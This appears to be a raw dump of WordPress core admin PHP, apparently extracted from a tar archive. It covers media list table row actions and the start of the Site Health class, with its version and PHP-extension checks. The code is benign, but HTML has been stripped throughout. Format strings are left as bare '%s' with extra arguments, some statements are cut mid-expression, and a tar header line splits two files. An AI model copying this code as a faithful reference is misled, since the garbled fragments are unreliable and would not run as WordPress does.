esc_attr( sprintf( __( 'Attach “%s” to existing content' ), $title ) ),
__( 'Attach' )
);
}
}
}
/**
* Handles the comments column output.
*
* @since 4.3.0
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_comments( $post ) {
echo '
';
}
/**
* Handles output for the default column.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Post $item The current WP_Post object.
* @param string $column_name Current column name.
*/
public function column_default( $item, $column_name ) {
// Restores the more descriptive, specific name for use within this method.
$post = $item;
if ( 'categories' === $column_name ) {
$taxonomy = 'category';
} elseif ( 'tags' === $column_name ) {
$taxonomy = 'post_tag';
} elseif ( str_starts_with( $column_name, 'taxonomy-' ) ) {
$taxonomy = substr( $column_name, 9 );
} else {
$taxonomy = false;
}
if ( $taxonomy ) {
$terms = get_the_terms( $post->ID, $taxonomy );
if ( is_array( $terms ) ) {
$output = array();
foreach ( $terms as $t ) {
$posts_in_term_qv = array();
$posts_in_term_qv['taxonomy'] = $taxonomy;
$posts_in_term_qv['term'] = $t->slug;
$output[] = sprintf(
'%s',
esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ),
esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
);
}
echo implode( wp_get_list_item_separator(), $output );
} else {
echo '—' . get_taxonomy( $taxonomy )->labels->no_terms . '';
}
return;
}
/**
* Fires for each custom column in the Media list table.
*
* Custom columns are registered using the {@see 'manage_media_columns'} filter.
*
* @since 2.5.0
*
* @param string $column_name Name of the custom column.
* @param int $post_id Attachment ID.
*/
do_action( 'manage_media_custom_column', $column_name, $post->ID );
}
/**
* Generates the list table rows.
*
* @since 3.1.0
*
* @global WP_Post $post Global post object.
* @global WP_Query $wp_query WordPress Query object.
*/
public function display_rows() {
global $post, $wp_query;
$post_ids = wp_list_pluck( $wp_query->posts, 'ID' );
reset( $wp_query->posts );
$this->comment_pending_count = get_pending_comments_num( $post_ids );
add_filter( 'the_title', 'esc_html' );
while ( have_posts() ) :
the_post();
if ( $this->is_trash && 'trash' !== $post->post_status
|| ! $this->is_trash && 'trash' === $post->post_status
) {
continue;
}
$post_owner = ( get_current_user_id() === (int) $post->post_author ) ? 'self' : 'other';
?>
single_row_columns( $post ); ?>
is_trash && current_user_can( 'edit_post', $post->ID ) ) {
$actions['edit'] = sprintf(
'%s',
esc_url( get_edit_post_link( $post->ID ) ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Edit “%s”' ), $att_title ) ),
__( 'Edit' )
);
}
if ( current_user_can( 'delete_post', $post->ID ) ) {
if ( $this->is_trash ) {
$actions['untrash'] = sprintf(
'%s',
esc_url( wp_nonce_url( "post.php?action=untrash&post=$post->ID", 'untrash-post_' . $post->ID ) ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Restore “%s” from the Trash' ), $att_title ) ),
__( 'Restore' )
);
} elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
$actions['trash'] = sprintf(
'%s',
esc_url( wp_nonce_url( "post.php?action=trash&post=$post->ID", 'trash-post_' . $post->ID ) ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Move “%s” to the Trash' ), $att_title ) ),
_x( 'Trash', 'verb' )
);
}
if ( $this->is_trash || ! EMPTY_TRASH_DAYS || ! MEDIA_TRASH ) {
$show_confirmation = ( ! $this->is_trash && ! MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : '';
$actions['delete'] = sprintf(
'%s',
esc_url( wp_nonce_url( "post.php?action=delete&post=$post->ID", 'delete-post_' . $post->ID ) ),
$show_confirmation,
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Delete “%s” permanently' ), $att_title ) ),
__( 'Delete Permanently' )
);
}
}
$attachment_url = wp_get_attachment_url( $post->ID );
if ( ! $this->is_trash ) {
$permalink = get_permalink( $post->ID );
if ( $permalink ) {
$actions['view'] = sprintf(
'%s',
esc_url( $permalink ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'View “%s”' ), $att_title ) ),
__( 'View' )
);
}
if ( $attachment_url ) {
$actions['copy'] = sprintf(
'%s',
esc_url( $attachment_url ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Copy “%s” URL to clipboard' ), $att_title ) ),
__( 'Copy URL' ),
__( 'Copied!' )
);
}
}
if ( $attachment_url ) {
$actions['download'] = sprintf(
'%s',
esc_url( $attachment_url ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Download “%s”' ), $att_title ) ),
__( 'Download file' )
);
}
if ( $this->detached && current_user_can( 'edit_post', $post->ID ) ) {
$actions['attach'] = sprintf(
'%s',
$post->ID,
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( 'Attach “%s” to existing content' ), $att_title ) ),
__( 'Attach' )
);
}
/**
* Filters the action links for each attachment in the Media list table.
*
* @since 2.8.0
*
* @param string[] $actions An array of action links for each attachment.
* Includes 'Edit', 'Delete Permanently', 'View',
* 'Copy URL' and 'Download file'.
* @param WP_Post $post WP_Post object for the current attachment.
* @param bool $detached Whether the list table contains media not attached
* to any posts. Default true.
*/
return apply_filters( 'media_row_actions', $actions, $post, $this->detached );
}
/**
* Generates and displays row action links.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Post $item Attachment being acted upon.
* @param string $column_name Current column name.
* @param string $primary Primary column name.
* @return string Row actions output for media attachments, or an empty string
* if the current column is not the primary column.
*/
protected function handle_row_actions( $item, $column_name, $primary ) {
if ( $primary !== $column_name ) {
return '';
}
// Restores the more descriptive, specific name for use within this method.
$post = $item;
$att_title = _draft_or_post_title();
$actions = $this->_get_row_actions( $post, $att_title );
return $this->row_actions( $actions );
}
}
class-wp-site-health.php 0000644 00000356774 14757313107 0011251 0 ustar 00 maybe_create_scheduled_event();
// Save memory limit before it's affected by wp_raise_memory_limit( 'admin' ).
$this->php_memory_limit = ini_get( 'memory_limit' );
$this->timeout_late_cron = 0;
$this->timeout_missed_cron = - 5 * MINUTE_IN_SECONDS;
if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) {
$this->timeout_late_cron = - 15 * MINUTE_IN_SECONDS;
$this->timeout_missed_cron = - 1 * HOUR_IN_SECONDS;
}
add_filter( 'admin_body_class', array( $this, 'admin_body_class' ) );
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
add_action( 'wp_site_health_scheduled_check', array( $this, 'wp_cron_scheduled_check' ) );
add_action( 'site_health_tab_content', array( $this, 'show_site_health_tab' ) );
}
/**
* Outputs the content of a tab in the Site Health screen.
*
* @since 5.8.0
*
* @param string $tab Slug of the current tab being displayed.
*/
public function show_site_health_tab( $tab ) {
if ( 'debug' === $tab ) {
require_once ABSPATH . 'wp-admin/site-health-info.php';
}
}
/**
* Returns an instance of the WP_Site_Health class, or create one if none exist yet.
*
* @since 5.4.0
*
* @return WP_Site_Health|null
*/
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new WP_Site_Health();
}
return self::$instance;
}
/**
* Enqueues the site health scripts.
*
* @since 5.2.0
*/
public function enqueue_scripts() {
$screen = get_current_screen();
if ( 'site-health' !== $screen->id && 'dashboard' !== $screen->id ) {
return;
}
$health_check_js_variables = array(
'screen' => $screen->id,
'nonce' => array(
'site_status' => wp_create_nonce( 'health-check-site-status' ),
'site_status_result' => wp_create_nonce( 'health-check-site-status-result' ),
),
'site_status' => array(
'direct' => array(),
'async' => array(),
'issues' => array(
'good' => 0,
'recommended' => 0,
'critical' => 0,
),
),
);
$issue_counts = get_transient( 'health-check-site-status-result' );
if ( false !== $issue_counts ) {
$issue_counts = json_decode( $issue_counts );
$health_check_js_variables['site_status']['issues'] = $issue_counts;
}
if ( 'site-health' === $screen->id && ( ! isset( $_GET['tab'] ) || empty( $_GET['tab'] ) ) ) {
$tests = WP_Site_Health::get_tests();
// Don't run https test on development environments.
if ( $this->is_development_environment() ) {
unset( $tests['async']['https_status'] );
}
foreach ( $tests['direct'] as $test ) {
if ( is_string( $test['test'] ) ) {
$test_function = sprintf(
'get_test_%s',
$test['test']
);
if ( method_exists( $this, $test_function ) && is_callable( array( $this, $test_function ) ) ) {
$health_check_js_variables['site_status']['direct'][] = $this->perform_test( array( $this, $test_function ) );
continue;
}
}
if ( is_callable( $test['test'] ) ) {
$health_check_js_variables['site_status']['direct'][] = $this->perform_test( $test['test'] );
}
}
foreach ( $tests['async'] as $test ) {
if ( is_string( $test['test'] ) ) {
$health_check_js_variables['site_status']['async'][] = array(
'test' => $test['test'],
'has_rest' => ( isset( $test['has_rest'] ) ? $test['has_rest'] : false ),
'completed' => false,
'headers' => isset( $test['headers'] ) ? $test['headers'] : array(),
);
}
}
}
wp_localize_script( 'site-health', 'SiteHealth', $health_check_js_variables );
}
/**
* Runs a Site Health test directly.
*
* @since 5.4.0
*
* @param callable $callback
* @return mixed|void
*/
private function perform_test( $callback ) {
/**
* Filters the output of a finished Site Health test.
*
* @since 5.3.0
*
* @param array $test_result {
* An associative array of test result data.
*
* @type string $label A label describing the test, and is used as a header in the output.
* @type string $status The status of the test, which can be a value of `good`, `recommended` or `critical`.
* @type array $badge {
* Tests are put into categories which have an associated badge shown, these can be modified and assigned here.
*
* @type string $label The test label, for example `Performance`.
* @type string $color Default `blue`. A string representing a color to use for the label.
* }
* @type string $description A more descriptive explanation of what the test looks for, and why it is important for the end user.
* @type string $actions An action to direct the user to where they can resolve the issue, if one exists.
* @type string $test The name of the test being ran, used as a reference point.
* }
*/
return apply_filters( 'site_status_test_result', call_user_func( $callback ) );
}
/**
* Runs the SQL version checks.
*
* These values are used in later tests, but the part of preparing them is more easily managed
* early in the class for ease of access and discovery.
*
* @since 5.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
private function prepare_sql_data() {
global $wpdb;
$mysql_server_type = $wpdb->db_server_info();
$this->mysql_server_version = $wpdb->get_var( 'SELECT VERSION()' );
if ( stristr( $mysql_server_type, 'mariadb' ) ) {
$this->is_mariadb = true;
$this->mysql_recommended_version = $this->mariadb_recommended_version;
}
$this->is_acceptable_mysql_version = version_compare( $this->mysql_required_version, $this->mysql_server_version, '<=' );
$this->is_recommended_mysql_version = version_compare( $this->mysql_recommended_version, $this->mysql_server_version, '<=' );
}
/**
* Tests whether `wp_version_check` is blocked.
*
* It's possible to block updates with the `wp_version_check` filter, but this can't be checked
* during an Ajax call, as the filter is never introduced then.
*
* This filter overrides a standard page request if it's made by an admin through the Ajax call
* with the right query argument to check for this.
*
* @since 5.2.0
*/
public function check_wp_version_check_exists() {
if ( ! is_admin() || ! is_user_logged_in() || ! current_user_can( 'update_core' ) || ! isset( $_GET['health-check-test-wp_version_check'] ) ) {
return;
}
echo ( has_filter( 'wp_version_check', 'wp_version_check' ) ? 'yes' : 'no' );
die();
}
/**
* Tests for WordPress version and outputs it.
*
* Gives various results depending on what kind of updates are available, if any, to encourage
* the user to install security updates as a priority.
*
* @since 5.2.0
*
* @return array The test result.
*/
public function get_test_wordpress_version() {
$result = array(
'label' => '',
'status' => '',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => '',
'actions' => '',
'test' => 'wordpress_version',
);
$core_current_version = wp_get_wp_version();
$core_updates = get_core_updates();
if ( ! is_array( $core_updates ) ) {
$result['status'] = 'recommended';
$result['label'] = sprintf(
/* translators: %s: Your current version of WordPress. */
__( 'WordPress version %s' ),
$core_current_version
);
$result['description'] = sprintf(
'
%s
',
__( 'Unable to check if any new versions of WordPress are available.' )
);
$result['actions'] = sprintf(
'%s',
esc_url( admin_url( 'update-core.php?force-check=1' ) ),
__( 'Check for updates manually' )
);
} else {
foreach ( $core_updates as $core => $update ) {
if ( 'upgrade' === $update->response ) {
$current_version = explode( '.', $core_current_version );
$new_version = explode( '.', $update->version );
$current_major = $current_version[0] . '.' . $current_version[1];
$new_major = $new_version[0] . '.' . $new_version[1];
$result['label'] = sprintf(
/* translators: %s: The latest version of WordPress available. */
__( 'WordPress update available (%s)' ),
$update->version
);
$result['actions'] = sprintf(
'%s',
esc_url( admin_url( 'update-core.php' ) ),
__( 'Install the latest version of WordPress' )
);
if ( $current_major !== $new_major ) {
// This is a major version mismatch.
$result['status'] = 'recommended';
$result['description'] = sprintf(
'
%s
',
__( 'A new version of WordPress is available.' )
);
} else {
// This is a minor version, sometimes considered more critical.
$result['status'] = 'critical';
$result['badge']['label'] = __( 'Security' );
$result['description'] = sprintf(
'
%s
',
__( 'A new minor update is available for your site. Because minor updates often address security, it’s important to install them.' )
);
}
} else {
$result['status'] = 'good';
$result['label'] = sprintf(
/* translators: %s: The current version of WordPress installed on this site. */
__( 'Your version of WordPress (%s) is up to date' ),
$core_current_version
);
$result['description'] = sprintf(
'
%s
',
__( 'You are currently running the latest version of WordPress available, keep it up!' )
);
}
}
}
return $result;
}
/**
* Tests if plugins are outdated, or unnecessary.
*
* The test checks if your plugins are up to date, and encourages you to remove any
* that are not in use.
*
* @since 5.2.0
*
* @return array The test result.
*/
public function get_test_plugin_version() {
$result = array(
'label' => __( 'Your plugins are all up to date' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Plugins extend your site’s functionality with things like contact forms, ecommerce and much more. That means they have deep access to your site, so it’s vital to keep them up to date.' )
),
'actions' => sprintf(
'
',
esc_url( admin_url( 'plugins.php' ) ),
__( 'Manage your plugins' )
),
'test' => 'plugin_version',
);
$plugins = get_plugins();
$plugin_updates = get_plugin_updates();
$plugins_active = 0;
$plugins_total = 0;
$plugins_need_update = 0;
// Loop over the available plugins and check their versions and active state.
foreach ( $plugins as $plugin_path => $plugin ) {
++$plugins_total;
if ( is_plugin_active( $plugin_path ) ) {
++$plugins_active;
}
if ( array_key_exists( $plugin_path, $plugin_updates ) ) {
++$plugins_need_update;
}
}
// Add a notice if there are outdated plugins.
if ( $plugins_need_update > 0 ) {
$result['status'] = 'critical';
$result['label'] = __( 'You have plugins waiting to be updated' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %d: The number of outdated plugins. */
_n(
'Your site has %d plugin waiting to be updated.',
'Your site has %d plugins waiting to be updated.',
$plugins_need_update
),
$plugins_need_update
)
);
$result['actions'] .= sprintf(
'
',
__( 'Your site has 1 active plugin, and it is up to date.' )
);
} elseif ( $plugins_active > 0 ) {
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %d: The number of active plugins. */
_n(
'Your site has %d active plugin, and it is up to date.',
'Your site has %d active plugins, and they are all up to date.',
$plugins_active
),
$plugins_active
)
);
} else {
$result['description'] .= sprintf(
'
%s
',
__( 'Your site does not have any active plugins.' )
);
}
}
// Check if there are inactive plugins.
if ( $plugins_total > $plugins_active && ! is_multisite() ) {
$unused_plugins = $plugins_total - $plugins_active;
$result['status'] = 'recommended';
$result['label'] = __( 'You should remove inactive plugins' );
$result['description'] .= sprintf(
'
%s %s
',
sprintf(
/* translators: %d: The number of inactive plugins. */
_n(
'Your site has %d inactive plugin.',
'Your site has %d inactive plugins.',
$unused_plugins
),
$unused_plugins
),
__( 'Inactive plugins are tempting targets for attackers. If you are not going to use a plugin, you should consider removing it.' )
);
$result['actions'] .= sprintf(
'
',
esc_url( admin_url( 'plugins.php?plugin_status=inactive' ) ),
__( 'Manage inactive plugins' )
);
}
return $result;
}
/**
* Tests if themes are outdated, or unnecessary.
*
* Checks if your site has a default theme (to fall back on if there is a need),
* if your themes are up to date and, finally, encourages you to remove any themes
* that are not needed.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_theme_version() {
$result = array(
'label' => __( 'Your themes are all up to date' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Security' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
__( 'Themes add your site’s look and feel. It’s important to keep them up to date, to stay consistent with your brand and keep your site secure.' )
),
'actions' => sprintf(
'
',
esc_url( admin_url( 'themes.php' ) ),
__( 'Manage your themes' )
),
'test' => 'theme_version',
);
$theme_updates = get_theme_updates();
$themes_total = 0;
$themes_need_updates = 0;
$themes_inactive = 0;
// This value is changed during processing to determine how many themes are considered a reasonable amount.
$allowed_theme_count = 1;
$has_default_theme = false;
$has_unused_themes = false;
$show_unused_themes = true;
$using_default_theme = false;
// Populate a list of all themes available in the install.
$all_themes = wp_get_themes();
$active_theme = wp_get_theme();
// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
$default_theme = wp_get_theme( WP_DEFAULT_THEME );
if ( ! $default_theme->exists() ) {
$default_theme = WP_Theme::get_core_default_theme();
}
if ( $default_theme ) {
$has_default_theme = true;
if (
$active_theme->get_stylesheet() === $default_theme->get_stylesheet()
||
is_child_theme() && $active_theme->get_template() === $default_theme->get_template()
) {
$using_default_theme = true;
}
}
foreach ( $all_themes as $theme_slug => $theme ) {
++$themes_total;
if ( array_key_exists( $theme_slug, $theme_updates ) ) {
++$themes_need_updates;
}
}
// If this is a child theme, increase the allowed theme count by one, to account for the parent.
if ( is_child_theme() ) {
++$allowed_theme_count;
}
// If there's a default theme installed and not in use, we count that as allowed as well.
if ( $has_default_theme && ! $using_default_theme ) {
++$allowed_theme_count;
}
if ( $themes_total > $allowed_theme_count ) {
$has_unused_themes = true;
$themes_inactive = ( $themes_total - $allowed_theme_count );
}
// Check if any themes need to be updated.
if ( $themes_need_updates > 0 ) {
$result['status'] = 'critical';
$result['label'] = __( 'You have themes waiting to be updated' );
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %d: The number of outdated themes. */
_n(
'Your site has %d theme waiting to be updated.',
'Your site has %d themes waiting to be updated.',
$themes_need_updates
),
$themes_need_updates
)
);
} else {
// Give positive feedback about the site being good about keeping things up to date.
if ( 1 === $themes_total ) {
$result['description'] .= sprintf(
'
%s
',
__( 'Your site has 1 installed theme, and it is up to date.' )
);
} elseif ( $themes_total > 0 ) {
$result['description'] .= sprintf(
'
%s
',
sprintf(
/* translators: %d: The number of themes. */
_n(
'Your site has %d installed theme, and it is up to date.',
'Your site has %d installed themes, and they are all up to date.',
$themes_total
),
$themes_total
)
);
} else {
$result['description'] .= sprintf(
'
%s
',
__( 'Your site does not have any installed themes.' )
);
}
}
if ( $has_unused_themes && $show_unused_themes && ! is_multisite() ) {
// This is a child theme, so we want to be a bit more explicit in our messages.
if ( $active_theme->parent() ) {
// Recommend removing inactive themes, except a default theme, your current one, and the parent theme.
$result['status'] = 'recommended';
$result['label'] = __( 'You should remove inactive themes' );
if ( $using_default_theme ) {
$result['description'] .= sprintf(
'
%s %s
',
sprintf(
/* translators: %d: The number of inactive themes. */
_n(
'Your site has %d inactive theme.',
'Your site has %d inactive themes.',
$themes_inactive
),
$themes_inactive
),
sprintf(
/* translators: 1: The currently active theme. 2: The active theme's parent theme. */
__( 'To enhance your site’s security, you should consider removing any themes you are not using. You should keep your active theme, %1$s, and %2$s, its parent theme.' ),
$active_theme->name,
$active_theme->parent()->name
)
);
} else {
$result['description'] .= sprintf(
'
%s %s
',
sprintf(
/* translators: %d: The number of inactive themes. */
_n(
'Your site has %d inactive theme.',
'Your site has %d inactive themes.',
$themes_inactive
),
$themes_inactive
),
sprintf(
/* translators: 1: The default theme for WordPress. 2: The currently active theme. 3: The active theme's parent theme. */
__( 'To enhance your site’s security, you should consider removing any themes you are not using. You should keep %1$s, the default WordPress theme, %2$s, your active theme, and %3$s, its parent theme.' ),
$default_theme ? $default_theme->name : WP_DEFAULT_THEME,
$active_theme->name,
$active_theme->parent()->name
)
);
}
} else {
// Recommend removing all inactive themes.
$result['status'] = 'recommended';
$result['label'] = __( 'You should remove inactive themes' );
if ( $using_default_theme ) {
$result['description'] .= sprintf(
'
%s %s
',
sprintf(
/* translators: 1: The amount of inactive themes. 2: The currently active theme. */
_n(
'Your site has %1$d inactive theme, other than %2$s, your active theme.',
'Your site has %1$d inactive themes, other than %2$s, your active theme.',
$themes_inactive
),
$themes_inactive,
$active_theme->name
),
__( 'You should consider removing any unused themes to enhance your site’s security.' )
);
} else {
$result['description'] .= sprintf(
'
%s %s
',
sprintf(
/* translators: 1: The amount of inactive themes. 2: The default theme for WordPress. 3: The currently active theme. */
_n(
'Your site has %1$d inactive theme, other than %2$s, the default WordPress theme, and %3$s, your active theme.',
'Your site has %1$d inactive themes, other than %2$s, the default WordPress theme, and %3$s, your active theme.',
$themes_inactive
),
$themes_inactive,
$default_theme ? $default_theme->name : WP_DEFAULT_THEME,
$active_theme->name
),
__( 'You should consider removing any unused themes to enhance your site’s security.' )
);
}
}
}
// If no default Twenty* theme exists.
if ( ! $has_default_theme ) {
$result['status'] = 'recommended';
$result['label'] = __( 'Have a default theme available' );
$result['description'] .= sprintf(
'
%s
',
__( 'Your site does not have any default theme. Default themes are used by WordPress automatically if anything is wrong with your chosen theme.' )
);
}
return $result;
}
/**
* Tests if the supplied PHP version is supported.
*
* @since 5.2.0
*
* @return array The test results.
*/
public function get_test_php_version() {
$response = wp_check_php_version();
$result = array(
'label' => sprintf(
/* translators: %s: The recommended PHP version. */
__( 'Your site is running a recommended version of PHP (%s)' ),
PHP_VERSION
),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
sprintf(
/* translators: %s: The minimum recommended PHP version. */
__( 'PHP is one of the programming languages used to build WordPress. Newer versions of PHP receive regular security updates and may increase your site’s performance. The minimum recommended version of PHP is %s.' ),
$response ? $response['recommended_version'] : ''
)
),
'actions' => sprintf(
'
',
esc_url( wp_get_update_php_url() ),
__( 'Learn more about updating PHP' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
),
'test' => 'php_version',
);
// PHP is up to date.
if ( ! $response || version_compare( PHP_VERSION, $response['recommended_version'], '>=' ) ) {
return $result;
}
// The PHP version is older than the recommended version, but still receiving active support.
if ( $response['is_supported'] ) {
$result['label'] = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an older version of PHP (%s)' ),
PHP_VERSION
);
$result['status'] = 'recommended';
return $result;
}
/*
* The PHP version is still receiving security fixes, but is lower than
* the expected minimum version that will be required by WordPress in the near future.
*/
if ( $response['is_secure'] && $response['is_lower_than_future_minimum'] ) {
// The `is_secure` array key name doesn't actually imply this is a secure version of PHP. It only means it receives security updates.
$result['label'] = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which soon will not be supported by WordPress.' ),
PHP_VERSION
);
$result['status'] = 'critical';
$result['badge']['label'] = __( 'Requirements' );
return $result;
}
// The PHP version is only receiving security fixes.
if ( $response['is_secure'] ) {
$result['label'] = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an older version of PHP (%s), which should be updated' ),
PHP_VERSION
);
$result['status'] = 'recommended';
return $result;
}
// No more security updates for the PHP version, and lower than the expected minimum version required by WordPress.
if ( $response['is_lower_than_future_minimum'] ) {
$message = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates and soon will not be supported by WordPress.' ),
PHP_VERSION
);
} else {
// No more security updates for the PHP version, must be updated.
$message = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates. It should be updated.' ),
PHP_VERSION
);
}
$result['label'] = $message;
$result['status'] = 'critical';
$result['badge']['label'] = __( 'Security' );
return $result;
}
/**
* Checks if the passed extension or function are available.
*
* Make the check for available PHP modules into a simple boolean operator for a cleaner test runner.
*
* @since 5.2.0
* @since 5.3.0 The `$constant_name` and `$class_name` parameters were added.
*
* @param string $extension_name Optional. The extension name to test. Default null.
* @param string $function_name Optional. The function name to test. Default null.
* @param string $constant_name Optional. The constant name to test for. Default null.
* @param string $class_name Optional. The class name to test for. Default null.
* @return bool Whether or not the extension and function are available.
*/
private function test_php_extension_availability( $extension_name = null, $function_name = null, $constant_name = null, $class_name = null ) {
// If no extension or function is passed, claim to fail testing, as we have nothing to test against.
if ( ! $extension_name && ! $function_name && ! $constant_name && ! $class_name ) {
return false;
}
if ( $extension_name && ! extension_loaded( $extension_name ) ) {
return false;
}
if ( $function_name && ! function_exists( $function_name ) ) {
return false;
}
if ( $constant_name && ! defined( $constant_name ) ) {
return false;
}
if ( $class_name && ! class_exists( $class_name ) ) {
return false;
}
return true;
}
/**
* Tests if required PHP modules are installed on the host.
*
* This test builds on the recommendations made by the WordPress Hosting Team
* as seen at https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions
*
* @since 5.2.0
*
* @return array
*/
public function get_test_php_extensions() {
$result = array(
'label' => __( 'Required and recommended modules are installed' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
%s
',
__( 'PHP modules perform most of the tasks on the server that make your site run. Any changes to these must be made by your server administrator.' ),
sprintf(
/* translators: 1: Link to the hosting group page about recommended PHP modules. 2: Additional link attributes. 3: Accessibility text. */
__( 'The WordPress Hosting Team maintains a list of those modules, both recommended and required, in the team handbook%3$s.' ),
/* translators: Localized team handbook, if one exists. */
esc_url( __( 'https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions' ) ),
'target="_blank"',
sprintf(
' %s',
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
)
)
),
'actions' => '',
'test' => 'php_extensions',
);
$modules = array(
'curl' => array(
'function' => 'curl_version',
'required' => false,
),
'dom' => array(
'class' => 'DOMNode',
'required' => false,
),
'exif' => array(
'function' => 'exif_read_data',
'required' => false,
),
'fileinfo' => array(
'function' => 'finfo_file',
'required' => false,
),
'hash' => array(
'function' => 'hash',
'required' => false,
),
'imagick' => array(
'extension' => 'imagick',
'required' => false,
),
'json' => array(
'function' => 'json_last_error',
'required' => true,
),
'mbstring' => array(
'function' => 'mb_check_encoding',
'required' => false,
),
'mysqli' => array(
'function' => 'mysqli_connect',
'required' => false,
),
'libsodium' => array(
'constant' => 'SODIUM_LIBRARY_VERSION',
'required' => false,
'php_bundled_version' => '7.2.0',
),
'openssl' => array(
'function' => 'openssl_encrypt',
'required' => false,
),
'pcre' => array(
'function' => 'preg_match',
'required' => false,
),
'mod_xml' => array(
'extension' => 'libxml',
'required' => false,
),
'zip' => array(
'class' => 'ZipArchive',
'required' => false,
),
'filter' => array(
'function' => 'filter_list',
'required' => false,
),
'gd' => array(
'extension' => 'gd',
'required' => false,
'fallback_for' => 'imagick',
),
'iconv' => array(
'function' => 'iconv',
'required' => false,
),
'intl' => array(
'extension' => 'intl',
'required' => false,
),
'mcrypt' => array(
'extension' => 'mcrypt',
'required' => false,
'fallback_for' => 'libsodium',
),
'simplexml' => array(
'extension' => 'simplexml',
'required' => false,
'fallback_for' => 'mod_xml',
),
'xmlreader' => array(
'extension' => 'xmlreader',
'required' => false,
'fallback_for' => 'mod_xml',
),
'zlib' => array(
'extension' => 'zlib',
'required' => false,
'fallback_for' => 'zip',
),
);
/**
* Filters the array representing all the modules we wish to test for.
*
* @since 5.2.0
* @since 5.3.0 The `$constant` and `$class` parameters were added.
*
* @param array $modules {
* An associative array of modules to test for.
*
* @type array ...$0 {
* An associative array of module properties used during testing.
* One of either `$function` or `$extension` must be provided, or they will fail by default.
*
* @type string $function Optional. A function name to test for the existence of.
* @type string $extension Optional. An extension to check if is loaded in PHP.
* @type string $constant Optional. A constant name to check for to verify an extension exists.
* @type string $class Optional. A class name to check for to verify an extension exists.
* @type bool $required Is this a required feature or not.
* @type string $fallback_for Optional. The module this module replaces as a fallback.
* }
* }
*/
$modules = apply_filters( 'site_status_test_php_modules', $modules );
$failures = array();
foreach ( $modules as $library => $module ) {
$extension_name = ( isset( $module['extension'] ) ? $module['extension'] : null );
$function_name = ( isset( $module['function'] ) ? $module['function'] : null );
$constant_name = ( isset( $module['constant'] ) ? $module['constant'] : null );
$class_name = ( isset( $module['class'] ) ? $module['class'] : null );
// If this module is a fallback for another function, check if that other function passed.
if ( isset( $module['fallback_for'] ) ) {
/*
* If that other function has a failure, mark this module as required for usual operations.
* If that other function hasn't failed, skip this test as it's only a fallback.
*/
if ( isset( $failures[ $module['fallback_for'] ] ) ) {
$module['required'] = true;
} else {
continue;
}
}
if ( ! $this->test_php_extension_availability( $extension_name, $function_name, $constant_name, $class_name )
&& ( ! isset( $module['php_bundled_version'] )
|| version_compare( PHP_VERSION, $module['php_bundled_version'], '<' ) )
) {
if ( $module['required'] ) {
$result['status'] = 'critical';
$class = 'error';
/* translators: Hidden accessibility text. */
$screen_reader = __( 'Error' );
$message = sprintf(
/* translators: %s: The module name. */
__( 'The required module, %s, is not installed, or has been disabled.' ),
$library
);
} else {
$class = 'warning';
/* translators: Hidden accessibility text. */
$screen_reader = __( 'Warning' );
$message = sprintf(
/* translators: %s: The module name. */
__( 'The optional module, %s, is not installed, or has been disabled.' ),
$library
);
}
if ( ! $module['required'] && 'good' === $result['status'] ) {
$result['status'] = 'recommended';
}
$failures[ $library ] = "$screen_reader $message";
}
}
if ( ! empty( $failures ) ) {
$output = '
';
}
if ( 'good' !== $result['status'] ) {
if ( 'recommended' === $result['status'] ) {
$result['label'] = __( 'One or more recommended modules are missing' );
}
if ( 'critical' === $result['status'] ) {
$result['label'] = __( 'One or more required modules are missing' );
}
$result['description'] .= $output;
}
return $result;
}
/**
* Tests if the PHP default timezone is set to UTC.
*
* @since 5.3.1
*
* @return array The test results.
*/
public function get_test_php_default_timezone() {
$result = array(
'label' => __( 'PHP default timezone is valid' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
'
%s
',
